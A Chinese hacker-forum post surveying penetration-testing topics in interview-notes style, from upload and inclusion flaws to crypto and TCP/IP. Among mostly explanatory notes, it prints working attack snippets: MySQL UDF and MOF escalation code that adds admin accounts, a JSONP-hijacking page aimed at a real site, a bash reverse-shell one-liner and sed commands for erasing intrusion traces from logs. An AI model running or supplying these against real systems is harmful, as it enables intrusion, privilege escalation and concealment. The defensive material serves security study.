跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

  • 0

渗透攻击黑客技术方面全详细介绍


HACK1949

问题

渗透攻击黑客技术方面全详细介绍

5fe67dbc76246.png

十二、上传

1、文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

2、常见的上传绕过方式

前端js验证:禁用js/burp改包
大小写
双重后缀名
过滤绕过 pphphp->php

3、防护

文件上传目录设置为不可执行
使用白名单判断文件上传类型
用随机数改写文件名和路径

4、审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

十三、文件包含

1、原理

引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件;
用户能够控制该动态变量。

2、导致文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

3、本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

十四、逻辑漏扫

1、金融行业常见逻辑漏洞

单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

十五、中间人攻击

中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

ARP欺骗

原理

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

十六、DDOS

1、DDOS原理

利用合理的请求造成资源过载,导致服务不可用

syn洪流的原理

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

2、DOSS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

十七、提权

MySQL两种提权方式

udf提权,mof提权

MySQL_UDF提取

要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

    create function cmdshell returns string soname ‘udf.dll’

    select cmdshell(‘net user arsch arsch /add’);

    select cmdshell(‘net localgroup administrators arsch /add’);


    drop function cmdshell;

    该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

    MySQL mof提权

      #pragma namespace("\\\\.\\root\\subscription")


      instance of __EventFilter as $EventFilter

      {

      EventNamespace = "Root\\Cimv2";

      Name = "filtP2";

      Query = "Select * From __InstanceModificationEvent "

      "Where TargetInstance Isa \"Win32_LocalTime\" "

      "And TargetInstance.Second = 5";

      QueryLanguage = "WQL";

      };


      instance of ActiveScriptEventConsumer as $Consumer

      {

      Name = "consPCSV2";

      ScriptingEngine = "JScript";

      ScriptText =

      "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

      };


      instance of __FilterToConsumerBinding

      {

      Consumer = $Consumer;

      Filter = $EventFilter;

      };

      其中的第18行的命令,上传前请自己更改。

      2、执行load_file及into dumpfile把文件导出到正确的位置即可。

        select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

        br

        执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

        十八、特殊漏洞

        1、Struts2-045

        2、Redis未授权

        产生原因

        Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

        利用条件和方法

        条件:

        a、redis服务以root账户运行
        b、redis无密码或弱密码进行认证
        c、redis监听在0.0.0.0公网上

        方法:

        a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
        b、上传SSH公钥获得SSH登录权限
        c、通过crontab反弹shell
        d、slave主从模式利用

        修复

        密码验证
        降权运行
        限制ip/修改端口

        3、Jenkins未授权访问

        4、MongoDB未授权访问

        攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

        println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell

        开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

        防护

        为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

        5、Memcache未授权访问

        Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

        利用

        a、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

        b、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

        漏洞加固

        a、设置memchached只允许本地访问 b、禁止外网访问Memcached 11211端口 c、编译时加上–enable-sasl,启用SASL认证

        6、FFMPEG本地文件读取

        原理

        通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

        十九、安全知识

        1、WEB

        常见WEB开发JAVA框架

        STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

        同源策略

        同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

        Jsonp安全攻防技术,怎么写Jsonp的攻击页面

        涉及到Jsonp的安全攻防内容

        JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

        攻击页面

        JSON劫持,跨域劫持敏感信息,页面类似于

          function wooyun(v){

          alert(v.username);

          }

          </script>

          <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

          br

          Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

          2、PHP

          php中命令执行涉及到的函数

          代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 

          文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

          命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

          安全模式下绕过php的disable fuction

          DL函数,组件漏洞,环境变量。

          PHP弱类型

          == 在进行比较的时候,会先将字符串类型转化成相同,再比较

          如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

          0e开头的字符串等于0

          3、数据库

          各种数据库文件存放的位置

          mysql:

          /usr/local/mysql/data/ 

          C:\ProgramData\MySQL\MySQL Server 5.6\Data\

          oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

          4、系统

          如何清理日志

          meterpreter: clearev

          入侵 Linux 服务器后需要清除哪些日志?

          web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

          e.g. sed -i -e ‘/192.169.1.1/d’

          history命令的清除,也是对~/.bash_history进行定向清除

          wtmp日志的清除,/var/log/wtmp

          登录日志清除 /var/log/secure

          LINUX

          查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

            netstat -antp` `ss -l

            br

            ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

            反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

              bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

              br

              通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

                ls /proc

                br

                系统信息,硬件信息,内核版本,加载的模块,进程

                linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

                /etc/ssh/sshd___configiptables配置

                如何一条命令查看文件内容最后一百行

                  tail -n 100 filename

                  br

                  Windows

                  如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

                  5、密码学

                  AES/DES的具体工作步骤

                  RSA算法

                  加密:

                  密文=明文^EmodN

                  RSA加密是对明文的E次方后除以N后求余数的过程

                  公钥=(E,N)

                  解密:

                  明文=密文^DmodN 私钥=(D,N)

                  三个参数n,e1,e2

                  n是两个大质数p,q的积

                  分组密码的加密模式

                  如何生成一个安全的随机数?

                  引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

                  SSL握手过程

                  建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

                  对称加密与非对称加密的不同,分别用在哪些方面

                  6、TCP/IP

                  TCP三次握手的过程以及对应的状态转换

                  (1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
                  (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
                  (3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

                  TCP和UDP协议区别

                  tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

                  https的建立过程

                  a、客户端发送请求到服务器端
                  b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
                  c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
                  d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
                  e、客户端使用共享密钥解密数据
                  f、SSL加密建立

                  7、流量分析

                  wireshark简单的过滤规则

                  过滤ip:

                  过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

                  过滤端口:

                  过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

                  协议过滤:

                  直接输入协议名即可,如http协议http

                  http模式过滤:

                  过滤get/post包http.request.mothod=="GET/POST"

                  8、防火墙

                  简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

                  链接帖子
                  意见的链接
                  分享到其他网站

                  这个问题有0个答案

                  推荐的帖子

                  此问题没有答案

                  黑客攻防讨论组

                  黑客攻防讨论组

                    You don't have permission to chat.
                    • 最近浏览   0位会员

                      • 没有会员查看此页面。
                    ×
                    ×
                    • 创建新的...